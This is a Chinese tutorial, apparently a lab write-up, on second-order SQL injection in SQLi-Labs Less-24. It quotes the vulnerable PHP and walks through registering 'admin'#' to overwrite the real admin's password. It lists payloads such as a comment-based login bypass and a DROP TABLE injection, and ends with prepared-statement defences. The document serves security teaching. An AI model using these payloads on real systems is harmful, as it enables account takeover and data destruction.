| **检测难度** | 容易被扫描器发现 | 很难发现，需要业务逻辑配合 |
| **典型场景** | 搜索框、URL 参数 | 注册用户名、留言板、昵称修改 |
| **SQLi-Labs** | Less-1~22 | **Less-24** |

---

## 三、典型业务场景

二次注入最常见的场景：

```
1. 用户注册
   用户名: admin'#
   密码: 123456
   → 服务器过滤后存入数据库（数据库里存的就是 admin'#）

2. 用户登录后修改密码
   → 服务器从数据库读取用户名: admin'#
   → 直接拼进 UPDATE 语句
   → 注入触发！
```

---

## 四、Less-24 源码分析

Less-24 是 SQLi-Labs 专门练习二次注入的关卡，包含两个文件：
- `login.php` —— 登录
- `login_create.php` —— 注册新用户
- `pass_change.php` —— 修改密码

### 4.1 注册逻辑（login_create.php）

```php
<?php
include("../sql-connections/sql-connect.php");

if (isset($_POST['submit']))
{
	//$username=  $_POST['username'] ;
	$username=  mysql_escape_string($_POST['username']) ;
	$pass= mysql_escape_string($_POST['password']);
	$re_pass= mysql_escape_string($_POST['re_password']);
	
	$sql = "select count(*) from users where username='$username'";
	$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
  	$row = mysql_fetch_row($res);
	
	if (!$row[0]== 0) 
	{
		// 用户名已存在
	} 
	else 
	{
       	if ($pass==$re_pass)
		{
   			$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
   			mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
		}
	}
}
?>
```

**关键点**：
- 注册时 `$username` **使用了 `mysql_escape_string()` 过滤**
- 过滤后存入数据库的是原始值（如 `admin'#`），因为 SQL 转义符 `\` 不会被存储
- **注册时 SQL 语法正确，不会报错，正常存入数据库**

---

### 4.2 修改密码逻辑（pass_change.php）

```php
<?php
session_start();
include("../sql-connections/sql-connect.php");

if (isset($_POST['submit']))
{
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysql_affected_rows();
		// ...
	}
}
?>
```

**核心漏洞**：
```php
$username= $_SESSION["username"];  // ← 从 Session 读，而 Session 来自数据库
// 数据库里存的是 admin'#
// 所以 $username = "admin'#"
// ❌ 取出后没有再次转义，直接拼进 SQL！
```

```sql
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' AND password='$curr_pass'
--                                        ↑ admin'# 从数据库取出
--                                          ↑ # 注释掉后面的 AND password=...
```

**注意**：`pass_change.php` 使用了 `or die('固定字符串')`，**没有 `mysql_error()` 报错回显**，因此不能直接通过报错注入爆数据，只能通过修改密码的方式利用。


:::tip{title="提示"}
只注释掉它后面的内容，前面的 SET PASSWORD='hacked123' 完全不受影响。
:::

---

### 4.3 登录逻辑（login.php）

```php
function sqllogin(){
   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
   if ($row[1]) {
       return $row[1];   // ← 返回数据库里的 username 字段（原始值！）
   } else {
       return 0;
   }
}

$login = sqllogin();
if (!$login== 0) 
{
	$_SESSION["username"] = $login;  // ← Session 里存入的是数据库原始值 admin'#
	setcookie("Auth", 1, time()+3600);
	header('Location: logged-in.php');
}
```

**关键点**：`$row[1]` 是从数据库读出的原始 `username`（如 `admin'#`），**原封不动**放进 Session，没有经过二次处理。

---

## 五、攻击流程详解（Less-24）

### Step 1：注册恶意用户名

```
访问: http://localhost/sqli-labs-master/Less-24/login_create.php

用户名: admin'#
密码: 123456
确认密码: 123456
```

**服务器执行的 SQL**：
```sql
-- 检查用户名是否存在
select count(*) from users where username='admin\'#'
-- 返回 0，用户名不存在

-- 插入新用户
insert into users ( username, password) values("admin\'#", "123456")
-- 数据库里存的是: username='admin'#', password='123456'
-- （反斜杠是 SQL 转义符，实际存储时不保留）
```

**结果**：注册成功，页面显示 "New User created"

---

### Step 2：登录

```
用户名: admin'#
密码: 123456
```
![图片.png](/static/img/c2d60e74579aec9aa70473e67d1bc135.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)**这里更改完密码后登录原账号还是原来的密码**
**服务器验证**：
```sql
SELECT * FROM users WHERE username='admin\'#' and password='123456'
-- SQL 解析时，'admin\'#' 被解析为 admin'#（转义后的单引号就是普通单引号）
-- 与数据库中存储的 username='admin'# 完全匹配
-- 查询成功，返回 $row[1] = 'admin'#'
```

**登录后**：`$_SESSION['username'] = 'admin'#`

---

### Step 3：修改密码

```
当前密码: 123456
新密码: hacked123
确认新密码: hacked123
```
**这里更改完密码后登录原账号还是原来的密码**
![图片.png](/static/img/6c5ecfd3020654e9fcea63b555b4df43.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
**服务器执行的 SQL**：
```sql
UPDATE users SET PASSWORD='hacked123' 
WHERE username='admin'#' AND password='123456'
--                       ↑ # 注释掉后面的 AND password='123456'
-- 实际执行：
UPDATE users SET PASSWORD='hacked123' WHERE username='admin'
```

**结果**：**所有 `username='admin'` 的密码都被改成了 `hacked123`！**

**包括真正的 admin 用户**
![图片.png](/static/img/429633b1e23ef5c065b6d6c1f4e4a9d1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/218a2d6d508f0079f58fdc2136dc6ebf.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
---

## 六、为什么第一次注入不了，第二次可以？

### 6.1 注册时（第一次）

```sql
insert into users ( username, password) values("admin\'#", "123456")
```

- `admin\'#` 被双引号包裹
- 转义后的 `\'` 在 SQL 字符串中就是普通单引号
- 数据库实际存储：`username='admin'#`
- SQL 语法完全正确，正常插入，**此时没有注入**

### 6.2 修改密码时（第二次）

```sql
UPDATE users SET PASSWORD='xxx' WHERE username='admin'#' AND password='yyy'
--                                            ↑ 这里 admin'# 不再被引号包裹！
--                                              它本身就是拼接进去的字符串值
--                                              但包含了 ' 和 #
--                                              ' 闭合了前面的引号
--                                              # 注释掉了后面
```

**第一次是"数据"，第二次变成了"代码"的一部分！**

---

## 七、二次注入的本质

```
用户输入: admin'#
    ↓
第一次处理（注册）: mysql_escape_string 转义后存入数据库
    ↓
数据库中存储: username = 'admin'#'
    ↓
第二次取出使用（改密码）: 从 Session 读取，作为"代码"拼进 SQL
    ↓
SQL 语义改变: 'admin' 变成 admin，# 变成注释符
    ↓
注入成功！
```

---

## 八、常用 SQL 语句与函数

### 8.1 涉及的 SQL 语句类型

| 语句类型 | 在二次注入中的角色 | 示例 |
|:---|:---|:---|
| `INSERT` | 第一次存储恶意数据 | `INSERT INTO users VALUES ('admin'#', 'pass')` |
| `SELECT` | 第二次读取数据 | `SELECT username FROM users WHERE id=1` |
| `UPDATE` | 第二次触发注入 | `UPDATE users SET pass='x' WHERE username='admin'#` |
| `DELETE` | 也可能触发 | `DELETE FROM logs WHERE user='admin'#'` |

### 8.2 涉及的 PHP 函数

| 函数 | 作用 | 为什么防不了二次注入 |
|:---|:---|:---|
| `mysql_real_escape_string()` | 转义特殊字符 | 第一次转义后存入 DB，但第二次从 DB 取出时**不会自动转义** |
| `mysql_escape_string()` | 转义特殊字符（不检查连接字符集） | 同上，只防一次，不防二次 |
| `addslashes()` | 加反斜杠转义 | 同上，只防一次，不防二次 |
| `intval()` | 转整数 | 对字符串用户名无效 |
| `htmlspecialchars()` | 转 HTML 实体 | 防 XSS，不防 SQL 注入 |

---

## 九、防御方法

### 9.1 根本防御：参数化查询（Prepared Statements）

```php
// ❌ 错误：拼接 SQL
$sql = "UPDATE users SET password='$new_pass' WHERE username='$username'";

// ✅ 正确：参数化查询
$stmt = $pdo->prepare("UPDATE users SET password=? WHERE username=?");
$stmt->execute([$new_pass, $username]);
```

**参数化查询把"数据"和"代码"彻底分离**，即使 `$username` 是 `admin'#`，也只会被当成纯数据处理。

### 9.2 二次防御：每次使用都过滤

```php
// 从数据库取出后，再次转义！
$username = mysql_real_escape_string($_SESSION['username']);
$sql = "UPDATE users SET password='$new_pass' WHERE username='$username'";
```

**但这不是最佳实践**，容易遗漏，且代码冗余。

### 9.3 最佳实践：ORM 框架

使用 Laravel Eloquent、Django ORM 等框架，底层自动参数化，从根本上杜绝二次注入。

---

## 十、实战中的二次注入场景

| 场景 | 第一次操作 | 第二次操作 | 危害 |
|:---|:---|:---|:---|
| **用户注册/改密** | 注册 `admin'#` | 修改密码 | 修改 admin 密码 |
| **昵称/签名修改** | 设置昵称为 `' OR '1'='1` | 后台统计查询 | 越权查看数据 |
| **留言板/评论** | 留言 `'; DROP TABLE users; #` | 后台审核展示 | 删库 |
| **文件上传记录** | 文件名包含 `'` | 后台按文件名查询 | 注入 |
| **API 参数缓存** | 参数存入缓存 | 定时任务读取执行 | 注入 |

---

## 十一、Less-24 通关流程图

```
注册页面 (login_create.php)
    ↓
输入用户名: admin'#
输入密码: 123456
    ↓
mysql_escape_string 转义 → admin\'#
    ↓
insert ... values("admin\'#", "123456")
    ↓
数据库存储: username='admin'#', password='123456'
    ↓
登录页面 (login.php)
    ↓
用 admin'# / 123456 登录
    ↓
mysql_real_escape_string → admin\'#
    ↓
SELECT * FROM users WHERE username='admin\'#' and password='123456'
    ↓
SQL解析: username='admin'#', password='123456' → 匹配成功！
    ↓
$row[1] = 'admin'#', $_SESSION["username"] = 'admin'#'
    ↓
修改密码页面 (pass_change.php)
    ↓
$username = $_SESSION["username"]  // = "admin'#"
-- ❌ 没有转义！直接拼进SQL！
    ↓
UPDATE users SET PASSWORD='hacked123' WHERE username='admin'#' AND password='123456'
    ↓
# 注释掉 AND 条件
    ↓
实际执行: UPDATE users SET PASSWORD='hacked123' WHERE username='admin'
    ↓
admin 的密码被修改！
    ↓
用 admin / hacked123 登录真正的 admin 账户
```

---

## 十二、记忆口诀

> **二次注入不一般，第一次存第二次算**
> **注册个 admin'#，数据库里存得安**
> **改密码时取出来，拼进 UPDATE 就完蛋**
> **' 闭合 # 注释，条件后面全删完**
> **参数化查询是根本，数据代码要分家**

---